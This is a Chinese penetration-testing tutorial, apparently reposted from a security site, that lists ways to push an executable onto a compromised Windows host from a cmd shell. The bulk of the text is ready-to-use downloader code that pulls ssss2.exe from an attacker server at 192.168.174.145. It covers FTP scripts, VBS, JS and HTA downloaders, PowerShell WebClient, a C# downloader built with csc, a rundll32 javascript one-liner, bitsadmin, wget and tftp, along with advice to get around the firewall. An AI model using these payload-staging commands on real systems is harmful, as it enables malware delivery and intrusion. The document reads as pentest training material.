在渗透测试的过程中,常常需要向目标主机上传文件,我在最近的学习测试过程中就碰到了这个问题,要求只能通过cmd shell向目标主机(Windows系统)上传文件,所以本文就对该技巧做一下总结。
OS:Win7 x86 test exe:ssss2.exe,成功运行后输出1
debug是一个程序调试工具,功能包括:
特别的是它还有一个功能可以将十六进制代码转换为可执行文件:
结合本文的目标,思路如下:
实际测试:
kali中的exe2bat.exe提供了这个功能,位于/usr/share/windows-binaries
如图
操作步骤:
kali:
[code]
cd /usr/share/windows-binaries
wine exe2bat.exe ssss2.exe ssss2.txt
[/code]
执行后会生成ssss2.txt,将里面的内容复制粘贴到cmd命令行下依次执行
执行后会生成1.dll、123.hex、ssss.exe
如图
注:
exe2bat不支持大于64kb的文件
如图
搭建好ftp服务器:
ip:192.168.174.151 文件:ssss2.exe
按顺序执行如下代码即可通过ftp来下载文件
cmd:
[code]
echo open 192.168.174.151 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt
[/code]
如图
注:
初次使用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则
vbs downloader,使用msxml2.xmlhttp和adodb.stream对象
如下代码保存为.vbs文件:
[code]
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.174.145/ssss2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\update\ssss2.exe",2
[/code]
对应到cmd下的命令为:
[code]
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\update\ssss2.exe",2 >>download.vbs
[/code]
按顺序依次执行后会生成download.vbs,然后执行download.vbs即可实现下载ssss2.exe
cmd:
[code]
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:\test\update\ssss2.exe')
[/code]
csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe
c# downloader的代码为:
[code]
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.174.145/ssss2.exe";
string receivePath = @"C:\test\update\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
[/code]
使用echo将代码依次写入文件download.cs中,然后调用csc.exe编译cs文件
执行
[code]
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\update\download.exe C:\test\update\download.cs
[/code]
如图成功生成download.exe
注:
csc.exe的绝对路径要根据系统的.net版本来确定
相比于JSRat中用的Scripting.FileSystemObject
换用ADODB.Stream
实现起来更加简单高效
以下代码依次保存为js文件,直接执行即可实现下载文件
[code]
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
Stream.Close();
}
[/code]
合并成rundll32的一句话(类似于JSRat的启动方式):
cmd:
[code]
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://192.168.174.145/ssss2.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("C:\\test\\update\\ssss2.exe",2);Stream.Close();}
[/code]
执行后会提示没有权限,很有趣的地方,更多的细节会在以后的文章介绍
添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序
以下代码保存为.hta文件:
[code]
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\test\\update\\ssss2.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
[/code]
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带
使用方法:
cmd下:
[code]
bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip C:\test\update\PSTools.zip
[/code]
下载成功如图:
注:
不支持https、ftp协议
使用kali的simplehttpserver作服务器会报错
以上均为系统默认包含的程序,结合以上方法并借助于第三方工具也能够实现功能
这里介绍的思路是可先通过bitsadmin来下载第三方工具,然后利用第三方工具进行传输文件
[code]
bitsadmin /transfer n http://www.interlog.com/~tcharron/wgetwin-1_5_3_1-binary.zip C:\test\update\wget.zip
[/code]
运行后会下载wget的压缩包wget.zip
注:
Windows系统默认不包含解压缩zip文件的命令,但是可以通过vbs来实现解压缩zip文件
vbs实现解压缩:
以下代码保存为.vbs文件:
[code]
UnZip "C:\test\update\wget.zip","C:\test\update\wget\"
Sub UnZip(ByVal myZipFile, ByVal myTargetDir)
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FileExists(myZipFile) Then
Exit Sub
ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf NOT fso.FolderExists(myTargetDir) Then
fso.CreateFolder(myTargetDir)
End If
Set objShell = CreateObject("Shell.Application")
Set objSource = objShell.NameSpace(myZipFile)
Set objFolderItem = objSource.Items()
Set objTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
End Sub
[/code]
成功解压缩后就可通过wget.exe来传输文件
[code]
C:\test\update\wget\wget.exe http://192.168.174.145/ssss2.exe
[/code]
如图
思路同上,先通过bitsadmin下载tftp.exe,然后利用tftp传输文件
[code]
bitsadmin /transfer n http://www.winagents.com/downloads/tftp.exe C:\test\update\tftp.exe
[/code]
下载成功后利用tftp传输文件:
[code]
tftp -i 192.168.174.151 GET tftp\ssss2.exe C:\test\update\ssss2.exe
[/code]
注:
默认防火墙会拦截
关掉防火墙或者添加规则即可
如图
本文对一些常用的通过cmd来传输文件的技巧做了整理,侧重于介绍其中较为通用简便的方法,所以并未介绍其他需要配置开发环境的实现方法,如Python、Ruby、Php等,如果你有更好的实现方法,欢迎与我交流,共同学习。
【原文:渗透技巧——通过cmd上传文件的N种方法 作者:三好学生 安全脉搏整理发布】
本文作者:SP小编
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/44450.html
BITSADMIN version 3.0 [ 7.8.10586 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.
BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.
Invalid argument.
win10 中 这个用不了了。